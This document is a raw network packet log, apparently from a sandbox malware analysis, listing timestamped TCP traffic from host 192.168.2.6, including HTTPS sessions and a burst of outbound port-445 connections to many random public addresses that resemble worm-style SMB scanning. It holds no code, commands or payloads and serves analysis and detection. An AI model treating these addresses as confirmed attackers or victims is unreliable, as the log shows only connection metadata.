Jul 20, 2022 06:07:47.594603062 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.594649076 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.597465038 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.597489119 CEST	443	52607	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.597496986 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.597544909 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.604888916 CEST	52611	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.604924917 CEST	443	52611	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.605004072 CEST	52611	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.607256889 CEST	52611	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.607275009 CEST	443	52611	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.608930111 CEST	52612	445	192.168.2.6	128.22.195.30
Jul 20, 2022 06:07:47.609637976 CEST	52613	445	192.168.2.6	83.120.53.2
Jul 20, 2022 06:07:47.610924006 CEST	52615	445	192.168.2.6	115.107.13.23
Jul 20, 2022 06:07:47.611958981 CEST	52617	445	192.168.2.6	223.204.206.179
Jul 20, 2022 06:07:47.703383923 CEST	52619	445	192.168.2.6	47.243.114.195
Jul 20, 2022 06:07:47.703470945 CEST	52620	445	192.168.2.6	109.215.148.164
Jul 20, 2022 06:07:47.703475952 CEST	52621	445	192.168.2.6	189.81.238.180
Jul 20, 2022 06:07:47.751528978 CEST	445	52610	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:47.751713037 CEST	52610	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:47.751859903 CEST	52610	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:47.759371042 CEST	443	52611	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.759479046 CEST	52611	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.759556055 CEST	52622	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:47.800556898 CEST	52611	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.800566912 CEST	443	52611	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.827178955 CEST	52624	445	192.168.2.6	208.199.22.211
Jul 20, 2022 06:07:47.828891039 CEST	52625	445	192.168.2.6	70.189.53.71
Jul 20, 2022 06:07:47.857343912 CEST	52628	445	192.168.2.6	130.235.184.68
Jul 20, 2022 06:07:47.857583046 CEST	52631	445	192.168.2.6	31.164.113.242
Jul 20, 2022 06:07:47.857590914 CEST	52633	445	192.168.2.6	85.170.178.231
Jul 20, 2022 06:07:47.857633114 CEST	52627	445	192.168.2.6	72.133.38.46
Jul 20, 2022 06:07:47.858138084 CEST	52634	445	192.168.2.6	13.251.108.151
Jul 20, 2022 06:07:47.858234882 CEST	52632	445	192.168.2.6	56.165.200.186
Jul 20, 2022 06:07:47.858422041 CEST	52637	445	192.168.2.6	102.73.145.11
Jul 20, 2022 06:07:47.858581066 CEST	52638	445	192.168.2.6	28.160.160.133
Jul 20, 2022 06:07:47.858738899 CEST	52639	445	192.168.2.6	164.187.91.198
Jul 20, 2022 06:07:47.858859062 CEST	52640	445	192.168.2.6	91.97.69.129
Jul 20, 2022 06:07:47.859139919 CEST	52644	445	192.168.2.6	42.175.107.91
Jul 20, 2022 06:07:47.859263897 CEST	52645	445	192.168.2.6	100.173.119.4
Jul 20, 2022 06:07:47.859380007 CEST	52646	445	192.168.2.6	123.64.173.192
Jul 20, 2022 06:07:47.859530926 CEST	52648	445	192.168.2.6	42.103.162.37
Jul 20, 2022 06:07:47.859638929 CEST	52649	445	192.168.2.6	35.115.173.210
Jul 20, 2022 06:07:47.859769106 CEST	52650	445	192.168.2.6	79.137.217.34
Jul 20, 2022 06:07:47.860084057 CEST	52656	445	192.168.2.6	25.235.69.247
Jul 20, 2022 06:07:47.860184908 CEST	52657	445	192.168.2.6	105.32.23.147
Jul 20, 2022 06:07:47.860340118 CEST	52659	445	192.168.2.6	9.169.47.142
Jul 20, 2022 06:07:47.915096045 CEST	445	52650	79.137.217.34	192.168.2.6
Jul 20, 2022 06:07:47.925017118 CEST	445	52610	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:47.925041914 CEST	445	52610	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:47.927356958 CEST	52611	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.927380085 CEST	443	52611	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.932760000 CEST	445	52622	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:47.932849884 CEST	52622	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:47.933036089 CEST	52622	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:48.012816906 CEST	443	52611	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.012885094 CEST	443	52611	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.012948990 CEST	52611	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.012964010 CEST	52611	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.019169092 CEST	52611	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.019188881 CEST	443	52611	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.032824993 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.032886982 CEST	443	52661	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.032983065 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.036269903 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.036298990 CEST	443	52661	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.103825092 CEST	445	52622	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:48.104300976 CEST	52622	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:48.172957897 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.173003912 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.173135042 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.173979044 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.173998117 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.190391064 CEST	443	52661	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.190628052 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.209521055 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.209561110 CEST	443	52661	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.211600065 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.211626053 CEST	443	52661	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.274962902 CEST	445	52622	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:48.275141954 CEST	52622	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:48.314008951 CEST	443	52661	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.314120054 CEST	443	52661	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.314174891 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.314207077 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.314666033 CEST	52664	445	192.168.2.6	176.241.42.23
Jul 20, 2022 06:07:48.316967010 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.317116022 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.317931890 CEST	52665	445	192.168.2.6	178.159.42.56
Jul 20, 2022 06:07:48.323431015 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.323455095 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.323812008 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.323870897 CEST	443	52661	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.323926926 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.324003935 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.324110031 CEST	52661	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.325762033 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.333200932 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.333225012 CEST	443	52666	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.333319902 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.333954096 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.333967924 CEST	443	52666	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.366090059 CEST	445	52664	176.241.42.23	192.168.2.6
Jul 20, 2022 06:07:48.368499994 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.405741930 CEST	52667	445	192.168.2.6	37.21.160.60
Jul 20, 2022 06:07:48.417650938 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.417711020 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.417748928 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.417862892 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.417892933 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.417910099 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.417956114 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.418050051 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.418103933 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.418128014 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.418140888 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.418169022 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.418200016 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.418205023 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.418237925 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.418267012 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.418349981 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.418404102 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.429255009 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.429281950 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.429335117 CEST	52662	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:48.429343939 CEST	443	52662	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:48.445661068 CEST	445	52622	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:48.480003119 CEST	443	52666	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.481030941 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.482299089 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.482312918 CEST	443	52666	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.510822058 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.510840893 CEST	443	52666	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.513948917 CEST	52650	445	192.168.2.6	79.137.217.34
Jul 20, 2022 06:07:48.545974970 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:48.546014071 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:48.546130896 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:48.546533108 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:48.546545029 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:48.569032907 CEST	445	52650	79.137.217.34	192.168.2.6
Jul 20, 2022 06:07:48.639116049 CEST	443	52666	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.639193058 CEST	443	52666	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.639219046 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.639245987 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.644557953 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.644587040 CEST	443	52666	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.644598007 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.644784927 CEST	52666	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.652050018 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.652086020 CEST	443	52670	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.652345896 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.671735048 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.671758890 CEST	443	52670	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.719268084 CEST	52671	445	192.168.2.6	97.97.182.167
Jul 20, 2022 06:07:48.719316959 CEST	52672	445	192.168.2.6	41.127.175.71
Jul 20, 2022 06:07:48.719702959 CEST	52675	445	192.168.2.6	79.237.244.33
Jul 20, 2022 06:07:48.719724894 CEST	52674	445	192.168.2.6	46.32.216.253
Jul 20, 2022 06:07:48.814033985 CEST	52678	445	192.168.2.6	112.253.142.40
Jul 20, 2022 06:07:48.814047098 CEST	52679	445	192.168.2.6	62.244.231.157
Jul 20, 2022 06:07:48.814152956 CEST	52680	445	192.168.2.6	63.210.156.88
Jul 20, 2022 06:07:48.816195965 CEST	443	52670	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.816313028 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.817136049 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.817145109 CEST	443	52670	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.819077015 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.819086075 CEST	443	52670	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.884593964 CEST	443	52670	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.884687901 CEST	443	52670	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.884845018 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.886076927 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.886101961 CEST	443	52670	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.886146069 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.886198997 CEST	52670	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.898416042 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.898449898 CEST	443	52681	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.898559093 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.898803949 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:48.898819923 CEST	443	52681	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:48.952635050 CEST	52683	445	192.168.2.6	50.111.218.84
Jul 20, 2022 06:07:48.952708006 CEST	52684	445	192.168.2.6	175.184.117.126
Jul 20, 2022 06:07:48.969464064 CEST	52688	445	192.168.2.6	30.221.206.249
Jul 20, 2022 06:07:49.002383947 CEST	52689	445	192.168.2.6	177.78.62.184
Jul 20, 2022 06:07:49.013978004 CEST	52664	445	192.168.2.6	176.241.42.23
Jul 20, 2022 06:07:49.014799118 CEST	52690	445	192.168.2.6	202.163.1.153
Jul 20, 2022 06:07:49.014961958 CEST	52694	445	192.168.2.6	83.139.84.73
Jul 20, 2022 06:07:49.014995098 CEST	52693	445	192.168.2.6	90.182.1.9
Jul 20, 2022 06:07:49.015237093 CEST	52700	445	192.168.2.6	69.239.65.134
Jul 20, 2022 06:07:49.015244961 CEST	52701	445	192.168.2.6	139.83.46.74
Jul 20, 2022 06:07:49.015338898 CEST	52703	445	192.168.2.6	44.48.136.110
Jul 20, 2022 06:07:49.015422106 CEST	52705	445	192.168.2.6	185.14.10.122
Jul 20, 2022 06:07:49.015427113 CEST	52704	445	192.168.2.6	100.173.24.124
Jul 20, 2022 06:07:49.015496016 CEST	52706	445	192.168.2.6	121.28.206.71
Jul 20, 2022 06:07:49.015631914 CEST	52709	445	192.168.2.6	27.48.253.111
Jul 20, 2022 06:07:49.015631914 CEST	52707	445	192.168.2.6	184.153.75.39
Jul 20, 2022 06:07:49.015734911 CEST	52710	445	192.168.2.6	93.17.148.107
Jul 20, 2022 06:07:49.015798092 CEST	52714	445	192.168.2.6	90.66.222.141
Jul 20, 2022 06:07:49.015800953 CEST	52713	445	192.168.2.6	216.204.135.181
Jul 20, 2022 06:07:49.015866995 CEST	52715	445	192.168.2.6	97.92.229.146
Jul 20, 2022 06:07:49.015906096 CEST	52716	445	192.168.2.6	74.216.244.44
Jul 20, 2022 06:07:49.043030024 CEST	443	52681	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.043171883 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.044274092 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.044302940 CEST	443	52681	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.047622919 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.047656059 CEST	443	52681	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.051383018 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.051492929 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.051599026 CEST	445	52693	90.182.1.9	192.168.2.6
Jul 20, 2022 06:07:49.054059982 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.054078102 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.054456949 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.055799007 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.065742016 CEST	445	52664	176.241.42.23	192.168.2.6
Jul 20, 2022 06:07:49.100497961 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.109832048 CEST	443	52681	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.109910965 CEST	443	52681	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.110050917 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.110167980 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.110196114 CEST	443	52681	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.110213041 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.110784054 CEST	52681	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.116553068 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.116605043 CEST	443	52720	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.116719961 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.117049932 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.117078066 CEST	443	52720	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.268042088 CEST	443	52720	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.268224001 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.268790960 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.268821955 CEST	443	52720	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.270641088 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.270658016 CEST	443	52720	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.355731010 CEST	443	52720	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.355802059 CEST	443	52720	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.355875969 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.355904102 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.355959892 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.355983019 CEST	443	52720	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.355993032 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.357053995 CEST	52720	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.361640930 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.361677885 CEST	443	52721	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.361820936 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.362092972 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.362114906 CEST	443	52721	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.391294003 CEST	52724	445	192.168.2.6	178.159.42.57
Jul 20, 2022 06:07:49.391319990 CEST	52723	445	192.168.2.6	176.241.42.24
Jul 20, 2022 06:07:49.393326998 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.393357992 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.393381119 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.393469095 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.393498898 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.393563032 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.393677950 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.393712997 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.393769979 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.393785000 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.393804073 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.393840075 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.393850088 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.393904924 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.396532059 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.396564007 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.396579981 CEST	52669	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:49.396590948 CEST	443	52669	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:49.440781116 CEST	445	52723	176.241.42.24	192.168.2.6
Jul 20, 2022 06:07:49.470066071 CEST	52725	445	192.168.2.6	37.21.160.61
Jul 20, 2022 06:07:49.507441998 CEST	443	52721	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.509880066 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.511651993 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.511677027 CEST	443	52721	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.518692970 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.518718004 CEST	443	52721	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.635030031 CEST	443	52721	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.635173082 CEST	443	52721	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.635324955 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.647145033 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.647172928 CEST	443	52721	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.647182941 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.647346020 CEST	52721	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.650038958 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.650095940 CEST	443	52728	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.650186062 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.650443077 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.650458097 CEST	443	52728	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.670305967 CEST	52693	445	192.168.2.6	90.182.1.9
Jul 20, 2022 06:07:49.705127001 CEST	445	52693	90.182.1.9	192.168.2.6
Jul 20, 2022 06:07:49.803225040 CEST	443	52728	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.803314924 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.804081917 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.804102898 CEST	443	52728	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.806078911 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.806097984 CEST	443	52728	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.843496084 CEST	52729	445	192.168.2.6	189.100.237.44
Jul 20, 2022 06:07:49.844235897 CEST	52730	445	192.168.2.6	185.213.62.27
Jul 20, 2022 06:07:49.845807076 CEST	52732	445	192.168.2.6	199.109.238.0
Jul 20, 2022 06:07:49.846648932 CEST	52733	445	192.168.2.6	114.89.33.140
Jul 20, 2022 06:07:49.915962934 CEST	443	52728	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.916047096 CEST	443	52728	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.916158915 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.916717052 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.916747093 CEST	443	52728	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.916758060 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.919969082 CEST	52728	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.930830956 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.930892944 CEST	443	52735	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.930998087 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.931608915 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:49.931626081 CEST	443	52735	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:49.937973022 CEST	52737	445	192.168.2.6	86.107.131.249
Jul 20, 2022 06:07:49.938843012 CEST	52738	445	192.168.2.6	177.213.5.209
Jul 20, 2022 06:07:49.939588070 CEST	52739	445	192.168.2.6	121.100.94.165
Jul 20, 2022 06:07:49.967641115 CEST	52723	445	192.168.2.6	176.241.42.24
Jul 20, 2022 06:07:50.006885052 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.006926060 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.007014990 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.007371902 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.007394075 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.017102003 CEST	445	52723	176.241.42.24	192.168.2.6
Jul 20, 2022 06:07:50.044092894 CEST	445	52730	185.213.62.27	192.168.2.6
Jul 20, 2022 06:07:50.074425936 CEST	443	52735	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.074568033 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.078001976 CEST	52743	445	192.168.2.6	111.141.128.237
Jul 20, 2022 06:07:50.093492031 CEST	52744	445	192.168.2.6	184.245.159.7
Jul 20, 2022 06:07:50.112260103 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.112286091 CEST	443	52735	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.114588976 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.114609957 CEST	443	52735	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.124383926 CEST	52748	445	192.168.2.6	112.65.181.248
Jul 20, 2022 06:07:50.150980949 CEST	52752	445	192.168.2.6	109.186.177.195
Jul 20, 2022 06:07:50.151051998 CEST	52753	445	192.168.2.6	138.104.220.78
Jul 20, 2022 06:07:50.151084900 CEST	52754	445	192.168.2.6	41.2.202.108
